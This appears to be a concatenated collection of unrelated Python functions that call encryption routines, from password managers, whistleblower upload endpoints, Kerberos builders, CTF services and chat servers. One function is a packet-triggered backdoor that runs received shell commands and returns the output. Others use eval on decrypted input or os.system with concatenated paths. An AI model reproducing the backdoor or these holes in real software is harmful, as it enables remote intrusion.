def post(self): form = forms.LoginForm(request.form) authorized = False error = '' username = form.username.data password = form.password.data if form.validate(): authorized = ldap_auth.authenticate(username, password) if authorized: # authorized via LDAP, log in session. If database is unaware of # LDAP user create a new user with username of authenticated user user = User.get_user_by_username(crypto.encrypt(username)) if not user: user = User(username=crypto.encrypt(username), is_admin=ldap_auth.hasMembershipWithSession(username, authorized, "PayrollAdmin"), is_approver=ldap_auth.hasMembershipWithSession(username, authorized, "PayrollApprover")).save() else: user.is_approver = ldap_auth.hasMembershipWithSession(username, authorized, "PayrollApprover") user.is_admin = ldap_auth.hasMembershipWithSession(username, authorized, "PayrollAdmin") user.save() # free up the LDAP resources, we are done with it ldap_auth.unauthenticate(authorized) flask_login.login_user(user, remember=False) return "success" else: print "[Username: "******" invalid login.]" return "Incorrect Username or Password"
def main(): ap = ArgumentParser(description="Manage your passwords") ap.add_argument("task", help="The task to perform, i.e. show.") ap.add_argument("entries", nargs="*", help="The entry to perform `task` on.") ap.add_argument("--database", "-d", help="The database to use." ) args = ap.parse_args() # The tasks that may be given at the command line. # i.e. $ jpass2 create/ls/passwd ... tasks = { "create" : create, "ls" : ls, "passwd" : change_passwd, "rm" : remove, "setname" : set_name, "show" : show, } jpass2.init() requested_task = args.task.lower() # If the given task isn't supported, tell the user and exit. if requested_task not in tasks: print "The task '%s' isn't supported." % requested_task exit(1) # If the user hasn't specified a path, set path to the default path. path = args.database if args.database else jpass2.DEFAULT_DB database = unlock_db(path) try: # If the user hasn't specified an entry using the --entry/-e flag, then # raise a TypeError. Raising this error moves us to the corresponding # except block below. if not args.entries: raise TypeError() # Iterate through all of the positional arguments given by the user, # performing $task on each. for e in args.entries: tasks[requested_task](database, e) except TypeError: # If the function doesn't want a name to work with, don't give it one. tasks[requested_task](database) # If the 'changed' flag in the database object is True, it means that # something has changed along the way when working with the database. # This change needs to be persistent, so write it to the disk. finally: if database.changed: crypto.encrypt(database.export(), database.pw, path)
def POST(self): i = web.input('sid', 'msg') crypto.encrypt(crypto.getkey(i.sid), i.msg, output= store.path(i.sid, 'reply-%s.gpg' % time.time()) ) web.header('Cache-Control', 'no-cache, no-store, must-revalidate') web.header('Pragma', 'no-cache') web.header('Expires', '-1') return render.reply(i.sid)
def setupconfig(): """ Ask the user questions to setup the configuration file """ click.echo('[*] TLI supports encryption configuration objects.') click.echo('[*] If you *enable* encryption, you will have to type a password everytime you lauch TLI.\n') passphrase = None passphrase_one = 'None' passphrase_two = None if click.confirm('[*] Do you want to encrypt your config file?'): while passphrase_one != passphrase_two: passphrase_one = click.prompt('[q] Enter a passphrase', hide_input=True) passphrase_two = click.prompt('[q] Confirm the passphrase', hide_input=True) if passphrase_one != passphrase_two: click.secho('[*] Passphrases dont match, retry.', fg='yellow') passphrase = passphrase_one click.echo('[*] Ok, we need 5 things to get going.') click.echo('[*] Make sure you have setup an app at https://apps.twitter.com/ first!\n') consumer_key = click.prompt('[q] Consumer Key') consumer_secret = click.prompt('[q] Consumer Secret') access_token = click.prompt('[q] Access Token') access_token_secret = click.prompt('[q] Access Token Secret') username = click.prompt('[q] Twitter Screen Name') config.add_section('main') config.set('main', 'encrypted', 'True' if passphrase else 'False') config.add_section('twitter') config.set('twitter', 'consumer_key', consumer_key if not passphrase else encrypt(passphrase, consumer_key)) config.set('twitter', 'consumer_secret', consumer_secret if not passphrase else encrypt(passphrase, consumer_secret)) config.set('twitter', 'access_token', access_token if not passphrase else encrypt(passphrase, access_token)) config.set('twitter', 'access_token_secret', access_token_secret if not passphrase else encrypt(passphrase, access_token_secret)) config.set('twitter', 'username', username if not passphrase else encrypt(passphrase, username)) click.echo('[*] Writing configuration to: {path}'.format(path=confighome)) os.umask(0077) with open(confighome, 'w') as f: config.write(f) click.secho('[*] First time setup complete.', fg='green', bold=True) return readconfig()
def store_endpoint(i): sid = crypto.shash(i.id) loc = store.path(sid) if not os.path.exists(loc): raise web.notfound() received = False if i.action == 'upload': if i.msg: loc1 = store.path(sid, '%.2f_msg.gpg' % (uuid.uuid4().int, )) crypto.encrypt(config.JOURNALIST_KEY, i.msg, loc1) received = 2 if not isinstance(i.fh, dict) and i.fh.done != -1 and i.fh.filename: # we put two zeroes here so that we don't save a file # with the same name as the message loc2 = store.path(sid, '%.2f_doc.zip.gpg' % (uuid.uuid4().int, )) s = cStringIO.StringIO() zip_file = zipfile.ZipFile(s, 'w') zip_file.writestr(i.fh.filename, i.fh.file.getvalue()) zip_file.close() s.reset() crypto.encrypt(config.JOURNALIST_KEY, s, loc2) received = i.fh.filename or '[unnamed]' if not crypto.getkey(sid): background.execute(lambda: crypto.genkeypair(sid, i.id)) elif i.action == 'delete': potential_files = os.listdir(loc) if i.mid not in potential_files: raise web.notfound() assert '/' not in i.mid crypto.secureunlink(store.path(sid, i.mid)) msgs = [] for fn in os.listdir(loc): if fn.startswith('reply-'): msgs.append(web.storage( id=fn, date=str(datetime.datetime.fromtimestamp(os.stat(store.path(sid, fn)).st_mtime)), msg=crypto.decrypt(sid, i.id, file(store.path(sid, fn)).read()) )) web.header('Cache-Control', 'no-cache, no-store, must-revalidate') web.header('Pragma', 'no-cache') web.header('Expires', '-1') return render.lookup(i.id, msgs, received=received)
def change_passwd(): """Provides an intuitive interface for the user to change their password.""" print "First, please unlock your keyfile." keyfile_data = common.get_keyfile_data() print "\n", print "Enter a new password for your keyfile." key = common.get_password(prompt="New password: "******"\n", print "Done!" print "You will now have to use your new password to access your entries."
def authenticate(self): """ Performs iDevices challenge/response handshake. Returns if handshake succeeded """ print "Authenticating..." # encryption key used by igrill mini key = "".join([chr((256 + x) % 256) for x in self.encryption_key]) # send app challenge challenge = str(bytearray([(random.randint(0, 255)) for i in range(8)] + [0] * 8)) self.characteristic(UUIDS.APP_CHALLENGE).write(challenge, True) # read device challenge encrypted_device_challenge = self.characteristic(UUIDS.DEVICE_CHALLENGE).read() print "encrypted device challenge:", str(encrypted_device_challenge).encode("hex") device_challenge = decrypt(key, encrypted_device_challenge) print "decrypted device challenge:", str(device_challenge).encode("hex") # verify device challenge if device_challenge[:8] != challenge[:8]: print "Invalid device challenge" return False # send device response device_response = chr(0) * 8 + device_challenge[8:] print "device response: ", str(device_response).encode("hex") encrypted_device_response = encrypt(key, device_response) self.characteristic(UUIDS.DEVICE_RESPONSE).write(encrypted_device_response, True) print("Authenticated") return True
def callback(self, ret, job): log.info("callback return for jobId %s profile %s is %s" % (b64encode(job.UJId), job.profile['id'],ret)) cbUrl = job['callbackURL'] if ret.__class__ is str: vals = ret.split() path = vals[0] == 'SUCCESS' and vals[1] or '' else: path = '' ret = ret.getErrorMessage() key = { 'jobId' : job.UJId, 'UID' : job.input['uid'], 'fieldName' : job.input['fieldName'], 'profile' : job.profile['id'], 'path' : path, 'msg' : ret, } output = { 'key' : b64encode(encrypt(str(key), self.master.config['secret'])) } if cbUrl: if not cbUrl.endswith('/'): cbUrl+='/' server = xmlrpclib.Server(cbUrl) server.transcode_callback(output) return True else: return output
def encode_message(sender, content, secret=None): """encode message envelope args - sender message sender - content message content - secret secret key to encrypt message (default: None) returns message envelope (dict) - sender message sender - content message content (encrypted if secret key is specified) - encrypted boolean flag if content is encrypted - timestamp-utc datetime.utcnow() in list format """ encrypted = False timestamp = datetime.utcnow().strftime("%Y %m %d %H %M %S").split() content = json.dumps(content) if secret: encrypted = True content = encrypt(content, secret) message = {'sender': sender, 'encrypted': encrypted, 'content': base64.urlsafe_b64encode(content), 'timestamp-utc': timestamp} return message
def _serialize_data(root, header, password): groups, entries = root.get_groups_and_entries() # Update header header.num_groups = len(groups) header.num_entries = len(entries) header.final_random_seed = crypto.randomize(16) header.encryption_iv = crypto.randomize(16) # Generate body body = str() for g in groups: body += g.to_bytearray() for e in entries: body += e.to_bytearray() # Calculate hash from the body header.contents_hash = crypto.sha256(body) # Encrypt body encrypted = crypto.encrypt(body, Database._generate_key(header, password), header.encryption_iv) # Generate file content data = str() data += header.to_bytearray() data += encrypted return data
def xmlrpc_transcode(self, input, profileId, options, callbackURL, fieldName=''): profile = None for p in self.master.config['profiles']: if profileId == p['id']: profile = p if not profile: return "ERROR: Invalid profile %s" % profileId try: key = decrypt(b64decode(input['key']), self.master.config['secret']) input = eval(key, {"__builtins__":None},{}) assert input.__class__ is dict if profileId == 'dvd': input['url'] = input['path'] else: input['url'] = input['url'] + '?' + urllib.urlencode({ 'key' : b64encode(encrypt(str(( input['uid'], input['fieldName'], profileId)), self.master.config['secret'])) }) except Exception, e: log.error("Invalid transcode request: %s" % e) return "ERROR: Unauthorized"
def store_endpoint(i): sid = crypto.shash(i.id) loc = store.path(sid) if not os.path.exists(loc): raise web.notfound() received = False if i.action == "upload": if i.msg: loc1 = store.path(sid, "%.2f_msg.gpg" % (uuid.uuid4().int,)) crypto.encrypt(config.JOURNALIST_KEY, i.msg, loc1) received = 2 if not isinstance(i.fh, dict) and i.fh.done != -1 and i.fh.filename: # we put two zeroes here so that we don't save a file # with the same name as the message loc2 = store.path(sid, "%.2f_doc.gpg" % (uuid.uuid4().int,)) crypto.encrypt(config.JOURNALIST_KEY, i.fh.file, loc2, fn=i.fh.filename) received = i.fh.filename or "[unnamed]" if not crypto.getkey(sid): background.execute(lambda: crypto.genkeypair(sid, i.id)) elif i.action == "delete": potential_files = os.listdir(loc) if i.mid not in potential_files: raise web.notfound() assert "/" not in i.mid crypto.secureunlink(store.path(sid, i.mid)) msgs = [] for fn in os.listdir(loc): if fn.startswith("reply-"): msgs.append( web.storage( id=fn, date=str(datetime.datetime.fromtimestamp(os.stat(store.path(sid, fn)).st_mtime)), msg=crypto.decrypt(sid, i.id, file(store.path(sid, fn)).read()), ) ) web.header("Cache-Control", "no-cache, no-store, must-revalidate") web.header("Pragma", "no-cache") web.header("Expires", "-1") return render.lookup(i.id, msgs, received=received)
def write(self, key, path): """Serializes the object in a string and writes it to a file in an encrypted form. key -- the encryption key to use. path -- where to write the file. """ serialized = pickle.dumps(self) ciphertext = crypto.encrypt(key, serialized, path)
def lineReceived(self, line): # Ignore blank lines if not line: return """ As soon as any line is received, write it into zmq socket. """ print line iv, ciphertext, tag = encrypt(self.factory.hashed_key,line, "") self.factory.publisher.send_multipart([self.factory.zmq_tag, iv + ciphertext + tag])
def xmlrpc_delete(self, input, options, callbackURL, fieldName=''): try: key = decrypt(b64decode(input['key']), self.master.config['secret']) input = eval(key, {"__builtins__":None},{}) assert input.__class__ is dict input['url'] = input['url'] + '?' + urllib.urlencode({'key' : b64encode(encrypt(str((input['uid'],input['fieldName'])),self.master.config['secret']))}) except Exception, e: log.error("Invalid delete request: %s" % e) return "ERROR: Unauthorized"
def change_master(self, old_master, new_master): """ Change master password for all accounts. old_master ::: old master password new_master ::: new master password """ accounts = self.list_accounts() for account in accounts: id_ = account[0] account_dict = self.decrypt_account(old_master, id_) new_user = crypto.encrypt(new_master, account_dict["user"]) new_pass = crypto.encrypt(new_master, account_dict["password"]) self.change_user(id_, new_user, new_master) self.change_pass(id_, new_pass, new_master) self["master"] = crypto.encrypt(new_master, new_master)
def change_user(self, id_, master, user): """ Change an account username master ::: master password id_ ::: ID of account to modify user ::: new username """ account = self.get_account(id_) account["user"] = crypto.encrypt(master, user)
def change_password(self, id_, master, password): """ Change an account password. master ::: master password id_ ::: ID of account to modify password ::: new account password """ account = self.get_account(id_) account["password"] = crypto.encrypt(master, password)
def encrypt(self, message, addr): # Get the public key publicKey = self.getKey(addr) # If we have access to the public key if publicKey: # Make sure the message is a string first message = comms.dump(message) # Encrypt the message message = crypto.encrypt(message, publicKey) return message
def acknowledge(client_socket, nickname, symm_key): """First message encrypted with symm_key ------------------------- | TYPE | NICKNAME | SHA-1 | | # | | | |______|__________|_______|""" apdu = '#' + nickname encrypted_apdu = encrypt(apdu, symm_key) server_notice(client_socket, encrypted_apdu)
def POST(self): i = web.input('id', fh={}, msg=None, mid=None, action=None) sid = crypto.shash(i.id) loc = store.path(sid) if not os.path.exists(loc): raise web.notfound() received = False if i.action == 'upload': if i.msg: loc1 = store.path(sid, '%s_msg.gpg' % time.time()) crypto.encrypt(config.JOURNALIST_KEY, i.msg, loc1) received = 2 if i.fh.value: # we put two zeroes here so that we don't save a file # with the same name as the message loc2 = store.path(sid, '%s_doc.gpg' % time.time()) crypto.encrypt(config.JOURNALIST_KEY, i.fh.file, loc2, fn=i.fh.filename) received = i.fh.filename or '[unnamed]' if not crypto.getkey(sid): background.execute(lambda: crypto.genkeypair(sid, i.id)) elif i.action == 'delete': potential_files = os.listdir(loc) if i.mid not in potential_files: raise web.notfound() assert '/' not in i.mid crypto.secureunlink(store.path(sid, i.mid)) msgs = [] for fn in os.listdir(loc): if fn.startswith('reply-'): msgs.append(web.storage( id=fn, date=datetime.datetime.fromtimestamp(float(store.cleanname(fn))), msg=crypto.decrypt(sid, i.id, file(store.path(sid, fn)).read()) )) web.header('Cache-Control', 'no-cache, no-store, must-revalidate') web.header('Pragma', 'no-cache') web.header('Expires', '-1') return render.lookup(i.id, msgs, received=received)
def build_pa_enc_timestamp(current_time, key): gt, ms = epoch2gt(current_time, microseconds=True) pa_ts_enc = PaEncTsEnc() pa_ts_enc['patimestamp'] = gt pa_ts_enc['pausec'] = ms pa_ts = PaEncTimestamp() pa_ts['etype'] = key[0] pa_ts['cipher'] = encrypt(key[0], key[1], 1, encode(pa_ts_enc)) return pa_ts
def prep(msg, ssid, mode, key): msg = struct.pack("!B", mode) + msg if (len(msg)+2) % 16 != 0: msg = msg + '\xff' * (16 - (len(msg)+2) % 16) chksum = checksum(msg) msg = struct.pack("=H", chksum) + msg msg = crypto.encrypt(msg, key) words = struct.unpack("!LL", msg[:8]) ssid = ssid ^ words[0] ^ words[1] msg = struct.pack("!L", ssid) + msg return msg
def login(self, username, password): encrypted = crypto.encrypt(password, username) message = "LOGIN: "******"\n" + encrypted s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((self.HOST_as, self.PORT_as)) s.send(message) data = s.recv(2048) lines = data.splitlines() self.sessionKey = crypto.decrypt(password, lines[0]) self.ticket = lines[1] self.loggedIn = True
def xmlrpc_delete(self, data, options, callbackURL, fieldName=''): try: key = decrypt(b64decode(data['key']), self.master.config['secret']) data = eval(key, {"__builtins__": None}, {}) assert data.__class__ is dict bits = str((data['uid'], data['fieldName'])) encoded_key = b64encode(encrypt(bits, self.master.config['secret'])) data['url'] += '?' + urllib.urlencode({'key': encoded_key}) except Exception, e: print "Invalid delete request: %s" % e return "ERROR: Unauthorized"
def main(): HOST = sys.argv[1] # Server IP address PORT = int(sys.argv[2]) # Port used by the server #HOST = "fd41:c6b6:6e7c:0:b509:1591:9285:587d" #PORT = 7777 print('[CLIENT] Creating socket...') s = socket.socket(socket.AF_INET6, socket.SOCK_STREAM, 0) s.connect((HOST, PORT, 0, 0)) print('[CLIENT] Connecting to server:', HOST, ' (', PORT, ')') clientPrivateKey, clientPublicKey = crypto.keyGen() # Receive public key from server try: serverPublicKeyString = s.recv(BUFFER_SIZE).decode('utf-8') serverPublicKey = crypto.stringToKey(serverPublicKeyString) except ValueError as ve: print('[CLIENT] Invalid public key from server:', ve) s.close() # Send public key to server print('[CLIENT] Sending Public Key:\n', crypto.keyToBytes(clientPublicKey)) s.sendall(crypto.keyToBytes(clientPublicKey)) try: # Request String byteRequestString = input('[CLIENT] File Name Request: ').encode() encryptedByteRequestString = crypto.encrypt(byteRequestString, serverPublicKey) print('[CLIENT] Sending encrypted request:', encryptedByteRequestString) s.sendall(encryptedByteRequestString) # Response File encryptedResponseFile = s.recv(BUFFER_SIZE) if not encryptedResponseFile: raise FileNotFoundException() else: print('[CLIENT] Receiving encrypted server response:', encryptedResponseFile) print('[CLIENT] Response received. Writing data to local file...') try: decryptedResponseFile = crypto.decrypt(encryptedResponseFile, clientPrivateKey) f = open('responses/response_file.txt', 'wb') f.write(decryptedResponseFile) if f: f.close() except: print('[CLIENT] Unable to write response to file!') except KeyboardInterrupt: print('[CLIENT] Closing client socket...') except FileNotFoundException: print('[CLIENT] Response not received: The file could not be found.') finally: s.close()
def save_note(mysql, note, user_id) -> bool: try: cur = mysql.connection.cursor() encrypted_note = encrypt(note) cur.execute("INSERT INTO notes(note, uuid) VALUES (%s, %s);", (encrypted_note, user_id)) mysql.connection.commit() cur.close() return True except Exception: return False return False
def add_account(self, master, label=None, user=None, password=None, description=None): """ Add an account, encrypting the username and password master ::: master password label ::: account label user ::: account username password ::: account password description ::: account description """ if description is None: description = str() id_ = str(uuid.uuid4()) data = dict(label=label, description=description, user=crypto.encrypt(master, user), password=crypto.encrypt(master, password)) self["accounts"][id_] = data
def write_private(inp): priv = inp[0] salt = inp[1] global global_password priv_encoded = json.dumps(priv) key = crypto.kdf(global_password,salt) ciphertext = crypto.encrypt(priv_encoded,key) towrite = {'salt':salt,'priv':ciphertext} with os.fdopen(os.open('private.json',os.O_WRONLY | os.O_CREAT,0600), 'w') as f: json.dump(towrite,f)
def encrypt_photo(): photo = request.files['e_file'] # Create a Cloud Storage client. storage_client = storage.Client() # Get the bucket that the file will be uploaded to. bucket = storage_client.get_bucket(CLOUD_STORAGE_BUCKET) # Create a new blob and upload the file's content. blob = bucket.blob(photo.filename) blob.upload_from_string( photo.read(), content_type=photo.content_type) # Make the blob publicly viewable. blob.make_public() # Create a Response response=encrypt() eimg = bucket.blob(response) eimg.upload_from_filename(response) eimg.make_public() # Create a Cloud Datastore client. datastore_client = datastore.Client() # Fetch the current date / time. current_datetime = datetime.now() # The kind for the new entity. kind = 'Faces' # The name/ID for the new entity. name = blob.name # Create the Cloud Datastore key for the new entity. key = datastore_client.key(kind, name) # Construct the new entity using the key. Set dictionary values for entity # keys blob_name, storage_public_url, timestamp, and joy. entity = datastore.Entity(key) entity['blob_name'] = blob.name entity['image_public_url'] = blob.public_url entity['timestamp'] = current_datetime entity['result'] = response entity['eimage_url'] = eimg.public_url # Save the new entity to Datastore. datastore_client.put(entity) # Redirect to the home page. return redirect('/')
def exposed_cdforward(self, foldername): # move to a folder print("cd") old_path = self.create_path() new_path = old_path + '/' + foldername if not os.path.exists(new_path): return None self.current_dir.append(foldername) return crypto.encrypt(crypto.serial(self.current_dir), self.session_key)
def test_encrypt_key(): for _ in range(5): privkey = RSA.generate(2048) pubkey = privkey.publickey() for str_len in range(2, 20): for _ in range(10): message = 'ENO{%s}' % ''.join([ random.choice(string.printable[:95]) for _ in range(str_len) ]) ciphertext = encrypt(message, pubkey) test_message = decrypt(ciphertext, privkey=privkey) assert message == test_message
def main(): # print(crypto.decrypt(open('./testdata/sw_ch_mi.txt', 'rb').read())) # src = open('./testdata/test.json', 'r').read() # print(src) # src = crypto.encrypt(src) # print(src) # open('./testdata/encrypt.txt', 'w').write(src) # src = open('./testdata/encrypt.txt', 'r').read() # print(src) # src = crypto.decrypt(src); # print(src) # open('./testdata/decrypt.txt', 'w').write(src) print(crypto.encrypt('hello'))
def write(self, master, fname): """ Write the password store to disk as an encrypted JSON file. master ::: master password fname ::: output filename """ f = open(fname, "w") data = crypto.encrypt(master, json.dumps(self.ps)) f.write(data) f.close()
def testHomomorphism(key): # Retreive a 2 random numbers to test testNumber1 = crypto.randomNumber(8) testNumber2 = crypto.randomNumber(8) # Calculate the expected addition result expectedResult = testNumber1 + testNumber2 # Encrypt the numbers testCypher1 = crypto.encrypt(key.publicKey, testNumber1) testCypher2 = crypto.encrypt(key.publicKey, testNumber2) # Attempt a homomorphic addition resultCypher = crypto.homomorphicAdd(key.publicKey, testCypher1, testCypher2) # Decrypt the result and check equality if expectedResult == crypto.decrypt(key.privateKey, resultCypher): return True else: return False
def encrypt( password: str, input_file: str, secret_file: str, output_file: str ) -> bool: if not os.path.exists(secret_file) or os.path.isdir(secret_file): print('No secret file') return False with open(secret_file) as f: secret = f.read() enc_secret = crypto.encrypt(password, secret).decode('utf-8') result = hide_text_to_png(input_file, enc_secret, output_file) return result
def _cast_vote(self, chosen_candidate, proof): content = { "proof": proof, "vote": crypto.encrypt(str(chosen_candidate), self.election_public_key) } return { "content": content, "header": { "signature": crypto.sign(json.dumps(content, sort_keys=True), self.private_key), "vcm_id": self.id } }
def shared(self ): # to see all the posts that are shared with the current user log = open(path + "log.txt", "a") elog = open(path + "elog.txt", "a") print("shared with me button is clicked") log.write(self.current + " clicked shared with me\n") e = (self.current + " shared with me\n") e = e.encode() elog.write(crypto.encrypt(e) + "\n") sharedWindow.current = self.current log.close() elog.close() sm.current = "shared"
def send(self, flag_id: int) -> str: self.cursor.execute('select data,category from store where id = ' + str(flag_id) + ';') try: content, category = self.cursor.fetchone() except TypeError: return "Key not in Database" print(content, category, file=sys.stderr) if category == 'flag': key = RSA.importKey(open('checker.pubkey', 'r').read()) return encrypt(content, key) else: return hexlify(content.encode()).decode()
def update(self): # to update any post log = open(path + "log.txt", "a") elog = open(path + "elog.txt", "a") print("clicked update") UpdateWindow.current = self.current UpdateWindow.post = value['text'] log.write(self.current + " clicked update\n") e = (self.current + " clicked update\n") e = e.encode() elog.write(crypto.encrypt(e) + "\n") log.close() elog.close() sm.current = "update"
def testEncryption(key): # Retreive a random number to encrypt testNumber = crypto.randomNumber(8) # Attempt to encrypt the number testCypher = crypto.encrypt(key.publicKey, testNumber) # Decrypt the cypher and check equality if testNumber == crypto.decrypt(key.privateKey, testCypher): return True else: return False
def transfer(self, card, card_path, dst_hospital_name, dst_hospital_address, dst_hospital_port): """ Function to transfer patient data to another hospital. :param card: card :param card_path: card path :param dst_hospital_name: name of hospital where records are being transferred to :param dst_hospital_address: hospital address to transfer data to :param dst_hospital_port: hospital port :return: boolean """ # Verify that card and hospital name match. if not self.valid_card(card): print("ERROR: invalid card, unable to accomodate transfer request") return False # Obtain the hash index. hash_uid = hash(card.uid) # Get the public key from the public blockchain. print(">>> Sending request to get pub_key for read request") pub_key = self.send_message_to_bc(bc_msg.get_pub_key(hash_uid)) # The encrypted uid corresponds to the key in the hospital k,v store. hosp_db_key = crypto.encrypt(card.uid, pub_key) # Confirm that data belongs to the card holder. if self.data_belongs_to_user(hosp_db_key, card): # Check if other hospital is able to transfer the records if self.db.get(hosp_db_key): blocks = self.db.get(hosp_db_key).split(",") for block in blocks: response = self.send_msg(hospital_msg.transfer_write_msg(hosp_db_key, block), dst_hospital_address, dst_hospital_port) #if dst_hospital.transfer_write(hosp_db_key, self.db.get(hosp_db_key)): if isinstance(response , int): print("Hospital server error") return False if not response.get(hospital_msg.RESPONSE): return False # Remove data from this hospital. self.db.pop(hosp_db_key) # Even if there may be no data to transfer, update the card. # Update hospital name on patient card. card.update(dst_hospital_name) # Update card to store the location of where the private key is stored. card.priv_key = card.priv_key_path f = open(card_path, "w+") f.write(str(card)) f.close() print("Successfully transferred records to %s" %(card.hospital_name)) return True else: print("ERROR: No data found for patient") return False
def runCommand(packet): encryptedData = packet['Raw'].load data = crypto.decrypt(encryptedData) # make sure the data starts with the authString, otherwise it isn't a packet # meant for our backdoor and we shouldn't process it if data.startswith(authString): data = data[len(authString):] print "Running command " + data output = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) output = authString + output.stdout.read() + output.stderr.read() encryptedOutput = crypto.encrypt(output) packet = IP(dst=packet[0][1].src)/UDP(dport=int(args.sourcePort), sport=int(args.destPort))/Raw(load=encryptedOutput) time.sleep(0.1) send(packet, verbose=0)
def build_ap_req(ticket, key, msg_type, authenticator): enc_auth = encrypt(key[0], key[1], msg_type, encode(authenticator)) ap_req = APReq() ap_req['pvno'] = 5 ap_req['msg-type'] = 14 ap_req['ap-options'] = "'00000000000000000000000000000000'B" ap_req['ticket'] = _v(3, ticket) ap_req['authenticator'] = None ap_req['authenticator']['etype'] = key[0] ap_req['authenticator']['cipher'] = enc_auth return ap_req
def run(self): print('[SERVER] Attempting to open file:', self.requestFileName) try: f = open('files/' + self.requestFileName, 'rb') print('[SERVER] Successfully opened file:', self.requestFileName) l = f.read(BUFFER_SIZE) encryptedResponseFileBytes = crypto.encrypt(l, self.pubKey) print('[SERVER] Sending encrypted response:', encryptedResponseFileBytes) self.sock.sendall(encryptedResponseFileBytes) if f: f.close() except Exception as e: print('[SERVER] Exception Occurred:', e) self.sock.shutdown(socket.SHUT_RDWR)
def back(self): # to go back print("clicked back") log = open(path + "log.txt", "a") elog = open(path + "elog.txt", "a") log.write(self.current + " clicked back\n") e = (self.current + " clicked back\n") e = e.encode() elog.write(crypto.encrypt(e) + "\n") log.close() elog.close() if self.shared: sm.current = "shared" else: sm.current = "all"
def cancelBtn(self): # to cancel log = open(path + "log.txt", "a") elog = open(path + "elog.txt", "a") print("clicked cancel") log.write(self.current + " clicked cancel\n") e = (self.current + " clicked cancel\n") e = e.encode() elog.write(crypto.encrypt(e) + "\n") log.close() elog.close() if self.current == "Guest": sm.current = "login" else: sm.current = "home"
def view(self): # to view a selected post log = open(path + "log.txt", "a") elog = open(path + "elog.txt", "a") print("clicked view") log.write(self.current + " clicked view\n") e = (self.current + " clicked view\n") e = e.encode() elog.write(crypto.encrypt(e) + "\n") viewWindow.current = self.current # viewWindow.post = value['text'] viewWindow.shared = False log.close() elog.close() sm.current = "view"
def exposed_cat(self, filename): # Return file content print("cat") newpath = self.create_path() + '/' + filename try: file_content = [] with open(newpath) as myfile: for line in myfile: file_content.append(line) return crypto.encrypt(crypto.serial(file_content), self.session_key) except: return None
def set_bulk_password(params, cmd_args): err = '' sql = """update pgwatch2.monitored_db set md_password_type = %(bulk_password_type)s, md_password = %(bulk_password)s, md_last_modified_on = now() where (md_password, md_password_type) is distinct from (%(bulk_password)s, %(bulk_password_type)s)""" if params.get('bulk_password_type') == 'aes-gcm-256': # NB! when changing this part also review insert/update_monitored_db() if not cmd_args.aes_gcm_keyphrase: return "Password encryption not possible as keyphrase/keyfile not specified on UI startup - use the PW2_AES_GCM_KEYPHRASE env. variable or --aes-gcm-keyphrase/ aes-gcm-keyphrase-file params", 0 params['bulk_password'] = crypto.encrypt(cmd_args.aes_gcm_keyphrase, params.get('bulk_password')) ret, _ = datadb.execute(sql, params) if ret and len(ret) == 1: return err, ret[0]['rows_affected'] return err, '0'
def exposed_create_file(self, filename): # Create New File print("nano") path = self.create_path() + '/' + filename path = path[2:] # print(path) # Creating File with open(path, 'w') as myfile: pass # Opening File for edit os.system('gedit ' + path) # print("File created at " + path + "(You Can Edit)") return crypto.encrypt(crypto.serial(self.current_dir), self.session_key)
def add_entry(): addentryForm = AddentryForm() if request.method == 'POST': try: g.cur.execute('insert into entries (user_id, title, content) values (%s, %s, %s)',\ [str(session['user_id']), encrypt(addentryForm.title.data, session['aeskey']), encrypt(addentryForm.content.data, session['aeskey'])]) g.db.commit() except Exception as e: mylogger.error(str(e)) g.db.rollback() return redirect(url_for('views.add_entry')) flash('提交成功') return redirect( url_for('views.show_entries', currentpage=session['currentpage'])) return render_template('addentry.html', form=addentryForm)
def upload(self): # to upload PostWindow.imgsrc = self.img.text PostWindow.videosrc = self.video.text PostWindow.audiosrc = self.audio.text PostWindow.current = self.current log = open(path + "log.txt", "a") elog = open(path + "elog.txt", "a") print("clicked upload") log.write(self.current + " clicked upload\n") e = (self.current + " clicked upload\n") e = e.encode() elog.write(crypto.encrypt(e) + "\n") log.close() elog.close() sm.current = "postwin"
def encrypt_block(content, rsa_priv, receiver_pubkey): assert len(content) == DATA_BLOCK_SIZE aes_ciphertext, encry_aes_key, hmac, hmac_signature, iv, metadata = \ crypto.encrypt(content, rsa_priv, receiver_pubkey) sender, receiver = decompose_metadata(metadata) response = { 'aes_ciphertext': aes_ciphertext, 'encry_aes_key': encry_aes_key, 'hmac': hmac, 'hmac_signature': hmac_signature, 'iv': iv, 'sender_public_key': sender, 'receiver_public_key': receiver } response['id'] = compute_block_hash(response) return response
def test_store_get_flag(): service = Store() pubkey = RSA.import_key(service.process_command('send_pubkey'.encode())) privkey = RSA.import_key(open('../checker/checker.privkey', 'r').read()) for str_len in range(2, 20): tick = random.randint(1, 1 << 32) flag = 'ENO{%s}' % ''.join( [random.choice(string.printable[:95]) for _ in range(str_len)]) data = encrypt(flag, pubkey) res = service.receive('flag', data, str(tick)) assert res == sha256(flag.encode()).hexdigest() res = service.send('flag', tick) test_flag = decrypt(service.send('flag', tick), privkey=privkey) assert test_flag == flag
def main(): print("Starting server...") print("Testing encryption...") test = 'secret message' encrypted = crypto.encrypt(test) decrypted = crypto.decrypt(encrypted) if bytes.decode(decrypted) == test and test != encrypted: print("Connection is secure !") else: print("Connection is not secure. Aborting.") exit(-1) msg_buffer = [] # message buffer s = create_socket() while True: c = acquire_new_connections(s) # check for new connections buffer = c.recv(1024) if not buffer: break msg_from_client = crypto.decrypt(buffer) # receive message from client print(msg_from_client.decode()) if not msg_from_client: break if msg_from_client == b'!refresh': # Send latest messages flush_buffer(msg_buffer, c) print("request refresh") else: msg_buffer.append(msg_from_client.decode()) # add to messages if len( msg_buffer ) > MSG_BUFFER_SIZE: # if buffer is full, remove oldest message msg_buffer.remove(0)
def register_new_user(self, username, password): ''' A method for registering new users. ''' try: if self.name_exists(username) == "SCS": return 'NIU' # If the "name exists" method returns "success", it means the name exists in the database, so the name is in use. elif self.name_exists(username) == "NNM": self.dict_database[username] = password database = open('database.txt', 'a') encrypted_data = crypto.encrypt('{n}:{p}'.format(n=username, p=password)) print >>database, encrypted_data+'§§§' # Adds the entry to the database with our chosen seperation mark database.close() return self.make_folder(username) else: raise except: return "WTF"
